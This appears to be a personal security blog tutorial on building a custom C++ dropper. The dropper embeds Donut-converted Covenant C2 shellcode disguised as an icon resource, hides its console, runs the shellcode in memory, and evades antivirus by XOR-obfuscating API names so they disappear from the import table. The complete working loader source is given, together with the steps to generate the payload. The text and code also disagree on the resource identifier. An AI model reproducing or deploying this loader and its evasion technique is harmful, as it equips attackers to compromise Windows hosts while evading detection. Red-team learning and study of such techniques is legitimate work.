WinAPI, Covenant, Donut, and Custom Dropper

Summary

Covenant dropper in action

For the past couple of days, I have finally decided to dive deeper into the world of custom payload generation. So I have created a very simple custom dropper utilizing WinAPI through C++, Covenant agent, and Donut. This was a fun experience of learning winapi in general, evading windows defender, and working with a relatively up-to-date C2 framework.

Table of Contents

  1. Background
  2. Covenant, dotNet, Shellcode, and Donut
  3. Loader Creation
  4. Payload Creation
  5. Evading Windows Defender, AVs, EDRs
  6. Actual Code - Putting it All Together
  7. Conclusion

Background

Covenant, Donut, WinAPI logo

In my opinion, the beauty of offensive security comes when you decide to go deeper/lower. Understanding how a system works and finding ways to make it do unintentional behaviors is the essence of offensive security. For that matter, my experience with low-level things was very limited. So I decided to "go deeper".

While going deeper, I also wanted to update my knowledge on modern-day offensive security toolkit. For now, I have been only using C2 frameworks like Metasploit and Powershell Empire for various competitions, labs, and certificates. As I prepare myself to dive into the professional world, I decided to get my hands on some of the relatively new and modern C2 frameworks, such as the Covenant. Of course, getting my hands on Cobalt Strike would have been the best scenario. However as a college student, I don't have the financial privileges to do so.

Lastly, I wanted to learn some of the AV/EDR bypasses so my dropper would not get caught by HIDS/HIPS systems.

Single-Stage Dropper

The dropper created for this article is a Single-Stage Dropper. Single-Stage droppers already have a full payload inside them. While the dropper doesn't need further dependencies for the payload, there is a downside that the payload will always be inside the dropper. This means any reverse engineer or malware analyst would be able to get persistent hands on the payload. Compared to that, multi-stage droppers would download the payload from a remote server and run it in memory. In this case, the attacker could simply shut down the remote server, and the malware analyst would not have their hands on the payload.

I decided to go for a single-stage dropper, as I'm just starting out and my knowledge is greatly limited at the moment.

Covenant, dotNet, Shellcode, and Donut

While it is tempting to use Metasploit, I've decided to use Covenant and its agent "Grunt" in this blog article. The first reason is that any kind of Metasploit payload created off-the-shelf will get caught by various AV/EDR solutions, including Windows Defender. Performing encryption and/or encoding does not help either. The second reason is to learn and get used to the .NET framework based toolkits. The movement towards the .NET framework using C# has been happening for a while now, and I wanted to learn some new toolkits as well.

Covenant is a C2 framework built with C# and the .NET (DotNet) framework. As a result, Covenant's agent "Grunt", in a binary form, is a .NET assembly. .NET assemblies are different from PE files. .NET assemblies are different from shellcodes as well. This means that we can't just simply load the Grunt into the memory of our dropper.

So now there is a problem. We need to load a .NET assembly into memory, from a non-.NET assembly. But We can't just simply load a .NET file in-memory of the dropper and execute it. .NET assemblies need something called a CLR(Common Language Runtime) in order to run the program. For the time being, think of CLR as a concept that is similar to the Java Virtual Machine.

CLR Concept: From wikipedia and stackoverflow answer (https://stackoverflow.com/questions/9408832/what-is-a-clr-class

In conclusion, the problem is this: We can't just simply load the "Grunt" into memory since it is a .NET assembly. We need to load the CLR into memory first, and then load the "Grunt".

Thankfully, there is a great solution: Donut. Read the official README for more information. To summarize, "Donut is a position-independent code that enables in-memory execution of ... dotNET assemblies". Simply put, Donut will do some magic and load the CLR into the memory using Unmanaged CLR Hosting API for us. Then, Donut will load our .NET program (Covenant's grunt that we created) into the memory - all while performing encryption, string obfuscation, compression, and defense bypass. It's just too good to be true.

In short, the diagram below is going to be the path to take for creating the payload.

Converting .NET assembly into shellcode, using donut 

Payload Creation

Let's actually create the payload. Since installation of Covenant can be found in the official document, this article will not cover it. After the installation, create a HTTP listener.

Creating Listener

After the listener is created, it's time to create the grunt (C2 agent). Select the Launchers --> "binary" and configure the launcher to your needs, and then download the binary. As mentioned above, this binary will have the file extension of a .exe, but this is a .NET assembly. We now need to convert Grunt into a shellcode, using Donut.

Creating, configuring, and downloading the payload

Download the donut executable from the official release page. Simply use donut to convert the grunt (which is a .NET assembly) into shellcode.

Update - October/2020: Covenant now has donut built-in. You should be able to find the "shellcode" version from Launchers section of Covenant. No need to clone the donut repo separately!!

.\donut.exe <.NET_assembly_file>
Converting .NET to shellcode using donut 

Great, now we have a shellcode that is named loader.bin, which is also encrypted and obfuscated as well. Change the name of the payload to g.ico. Our payload is ready to go.

Dropper - Adding payload as .RSRC

Since our dropper is a single-stage Dropper, the dropper executable need to contain g.ico payload that was created above. One of the ways to do so is saving the file in the .RSRC section of the PE file.

First, create an empty C++ Console App project from visual studio. Before coding the dropper, let's add g.ico as a resource file first. From the Solution Explorer on the right side of Visual studio, right-click the resources file section and add a resource.

Add resource file

A new window will pop up. Click on "Import". Make sure to view All Files(*.*), since .ico is a icon file extension. Click on the g.ico file, and the resources should have been added to the project.

Make sure to type in RCDATA for the resource type on the next prompt.

Now, open up the <Projectname>.rc file, using right-click and then selecting the source code editor. This will open up the .rc file.

From the .rc file, make sure to change the name and the data type to RCDATA.

.rc file showing "g.ico" as RCDATA

Finally, open up resource.h header file and make sure the name is defined correctly. Here, IDR_RCDATA2 is used in both .rc file and resource.h file.

resource.h file showing that IDR_RCDATA2 has been declared as integer 103

With all of the steps finished, the final solution explorer should look something like this. In the .RSRC section, there is g.ico , which is a shellcode that we converted using Donut. both .rc file and resource.h file should be visible as well.

Dropper - Creation

Now we have the Grunt payload embedded into our dropper's .RSRC section, let's actually create the dropper itself. The big-picture structure of the dropper is going to be the following.

  1. Extract the Grunt shellcode payload (g.ico) from the Resources section
  2. Allocate new memory section to the Dropper process itself
  3. Move Grunt payload into the newly allocated memory section
  4. Change the memory section's permission to be Read + Executable
  5. Create a new thread that will execute the memory section. This will execute our Grunt payload.

A much better dropper would be utilizing various process injection techniques, but I have yet to learn those. Maybe in later blog article in the future.

Extract Grunt Payload

Extract

For the extraction of payload, the resource WinAPI trio of FindResource, LoadResource, and LockResource has been used. Note that in FindResource, IDR_RCDATA2 that was defined in the resource.h file has been used. The global variable's name could be different, so watch out.

Allocate memory, Move payload, Change permission

Allocation, payload move, permission change

Since now we have the pointer to the shellcode, we can move on to the next section. Allocate memory inside the current process using VirtualAlloc, move the payload to the newly created memory using RtlMoveMemory, and change the permission of the memory to PAGE_EXECUTE_READ using VirtualProtect.

Execute!

Create thread and execute our payload 

Finally, execute the payload.

While this work fine, we have a small problem...

Oops

Detection Bypasses

For more advanced and in-depth detection bypass, take a look at 0xpat's blog series.

One of the main problem with the current dropper is the utilization of well known WinAPI functions. The combination of Find/Load/LockResource, VirtualAlloc, RtlMoveMemory, VirtualProtect, and CreateThread has been in countless malware for many, many years. It is no wonder that Windows Defender, AV, and EDR solutions are not a big fan of these.

LockResource and VirtualProtect already getting flagged

Things get more obvious if we spawn up PEView or PEStudio and analyze the dropper. As shown in the screenshot, LockResource and VirtualProtect is already flagged as a blacklist winapi function.

One way to get around this is using function call obfuscation. Function call obfuscation is a method that I learned from Sektor7's course, which is a great introductory course on custom tool creation. Although, I had to sink some time researching how to do function obfuscation in visual c++ (for visual studio).

After the research, these are the steps that I found for function call obfuscation:

  1. Create a WinAPI function pointer struct which has the same parameters as the function to be obfuscated
  2. Create a char array with the function's name XORed
  3. Using GetProcAddress and GetModuleHandleA, get the function pointer of the export DLL
  4. Now, call the function pointer created in #1 instead of calling the actual function

Let's go through an example. Let's say we want to obfuscate the function VirtualProtect. First, create a struct of WINAPI function pointer with the name pVirtualProtect.

struct of WINAPI function pointer

Don't worry about the crazy parameters, as MSDN documents will have all the parameters.

Second, create a char array with the function name VirtualProtect XORed with a specific key. In this case, the key "abc" was used.

XOR the function's name 

Third, declare a char array with XOR encrypted function name. Then, XOR decrypt the function's name in runtime. Make sure to use the same key "abc".

Decrypting XOR

Fourth, retrieve the function pointer indirectly from kernel32.dll, using GetProcAddress.

pVirtualProtect ptrVirtualProtect = (pVirtualProtect)(GetProcAddress(GetModuleHandleA("kernel32.dll"), sVirtualProtect));

Now every time VirtualProtect is used, we can simply call ptrVirtualProtect function instead. If we check out PEView or PEStudio and look at the import table, we can't find any of the obfuscated functions. In this case, I obfuscated VirtualAlloc, VirtualProtect, and LockResource. As a result, those functions don't show in the import table of the PE file.

No VirtualProtect, LockResource, Virtual Alloc in import table

Putting it All Together

#include <Windows.h>
#include <stdlib.h>
#include <string.h>
#include <iostream>
#include <iomanip>
#include "resource.h"

/* ------------ Declaration of winapi function pointer structs ------------ */

typedef LPVOID(WINAPI* pVirtualAlloc)(
	LPVOID lpAddress,
	SIZE_T dwSize,
	DWORD  flAllocationType,
	DWORD  flProtect
	);


typedef BOOL(WINAPI* pVirtualProtect)(
	LPVOID lpAddress,
	SIZE_T dwSize,
	DWORD  flNewProtect,
	PDWORD lpflOldProtect
	);

typedef HANDLE(WINAPI* pCreateThread)(
	LPSECURITY_ATTRIBUTES   lpThreadAttributes,
	SIZE_T                  dwStackSize,
	LPTHREAD_START_ROUTINE  lpStartAddress,
	__drv_aliasesMem LPVOID lpParameter,
	DWORD                   dwCreationFlags,
	LPDWORD                 lpThreadId
	);

typedef LPVOID(WINAPI* pLockResource)(
	HGLOBAL hResData
	);

void XOR(char* data, size_t data_len, char* key, size_t key_len) {
	int j;

	j = 0;
	for (int i = 0; i < data_len; i++) {
		if (j == key_len - 1) j = 0;

		data[i] = data[i] ^ key[j];
		j++;
	}
}


int main()
{
	// Local Variable declaration
	char key[] = "abc";
	int keyLen = sizeof(key);
	bool vpResult;
	DWORD oldprotect = 0;
	HANDLE threadHandle;

	/* -----------  Function name Obfuscation ----------- */
	char sVirtualAlloc[] = { 0x37, 0xb, 0x11, 0x15, 0x17, 0x2, 0xd, 0x23, 0xf, 0xd, 0xd, 0x0 };
	char sLockResource[] = { 0x2d, 0xd, 0x0, 0xa, 0x30, 0x6, 0x12, 0xd, 0x16, 0x13, 0x1, 0x6 };
	char sVirtualProtect[] = { 0x37, 0xb, 0x11, 0x15, 0x17, 0x2, 0xd, 0x32, 0x11, 0xe, 0x16, 0x6, 0x2, 0x16 };

	XOR((char*)sVirtualProtect, sizeof(sVirtualProtect), key, keyLen);
	XOR((char*)sLockResource, sizeof(sLockResource), key, keyLen);
	XOR((char*)sVirtualAlloc, sizeof(sVirtualAlloc), key, keyLen);

	pVirtualAlloc ptrVirtualAlloc = (pVirtualAlloc)(GetProcAddress(GetModuleHandleA("kernel32.dll"), sVirtualAlloc));
	pVirtualProtect ptrVirtualProtect = (pVirtualProtect)(GetProcAddress(GetModuleHandleA("kernel32.dll"), sVirtualProtect));
	pLockResource ptrLockResource = (pLockResource)(GetProcAddress(GetModuleHandleA("kernel32.dll"), sLockResource));

	// Hide console
	FreeConsole();

	// 1. Extracting payload from resources 
	HRSRC hSrc = FindResource(NULL, MAKEINTRESOURCE(IDR_RCDATA1), RT_RCDATA);
	HANDLE resHandle = LoadResource(NULL, hSrc);
	char* payload = (char*)ptrLockResource(resHandle);
	int payloadLen = SizeofResource(NULL, hSrc);


	// 2. Allocate memory, move payload into the memory, and change persmission of memory
	void* execMem = ptrVirtualAlloc(0, payloadLen, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
	RtlMoveMemory(execMem, payload, payloadLen);

	vpResult = ptrVirtualProtect(execMem, payloadLen, PAGE_EXECUTE_READ, &oldprotect);

	// 3. Actually execute the grunt payload 
	if (vpResult != 0) {
		threadHandle = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)execMem, 0, 0, 0);
		WaitForSingleObject(threadHandle, -1);
	}

	return 0;
}

The entire code put into one looks something like this. When compiled and ran, the Covenant grunt will callback.

A callback!

To prevent misusage of the code, I uploaded the finished dropper to VirusTotal. Even though the code was using the most basic/historic techniques (payload in .RSRC, naive self injection...), that has been around for decades, it still resulted pretty good detection rate from Virustotal.

Not bad, from 2 weeks of learning C++ and WinAPI!

49dcd6da9012825c5c4487deef22c171f4b3c2df8a846bd53a1002a2499026b1

https://www.virustotal.com/gui/file/49dcd6da9012825c5c4487deef22c171f4b3c2df8a846bd53a1002a2499026b1/detection

Afterthought

One of the hardships of .NET assemblies was that it was very easy to decompile the payload and retrieve a pseudo-code of it. After all, the real juice lies within the payload - and if someone were to get their hands on the source code of the payload, that would be very concerning to the operator.

Indeed, using Resource Hacker, we can actually extract out the payload from the dropper. Drag-and-Drop the payload to Resource Hacker, and then extract it out.

Extract out the payload!

Oh, but wait. Our payload is not a .NET assembly, it's a converted shellcode using Donut. So, various .NET decompilers such as ILSpy, DNSpy, won't work.

Oops

Donut also performs 128-bit symmetric encryption, entropy for API hashes and generation of strings, and various patches as well. Thus, going through and analyzing the shellcode won't be that easy.

Conclusion

That's about it! Throughout the article we created a non-.NET Single-Stage Dropper in C++ using WinAPI. For the payload, Covenant C2 framework's .NET assembly was used, after getting it converted into a shellcode using Donut. The combination of all of these things ranges from techniques used from the early days of malware (valloc, vprotect, createthread) to the most recent toolkits such as Covenant and Donut. When the old meets new, interesting things happen.

References & Thanks to

TheWover - Creator of Donut + absolute legend

Cobbr - Creator of Covenant  + absolute legend

0xpat - Great blog posts

Sektor7 - Great course

NotoriousRebel - Nice dude

TheWover/donut
Generates x86, x64, or AMD64+x86 position-independent shellcode that loads .NET Assemblies, PE files, and other Windows payloads from memory and runs them with parameters - TheWover/donut
cobbr/Covenant
Covenant is a collaborative .NET C2 framework for red teamers. - cobbr/Covenant

https://docs.microsoft.com/en-us/windows/win32/apiindex/windows-api-list

Show Comments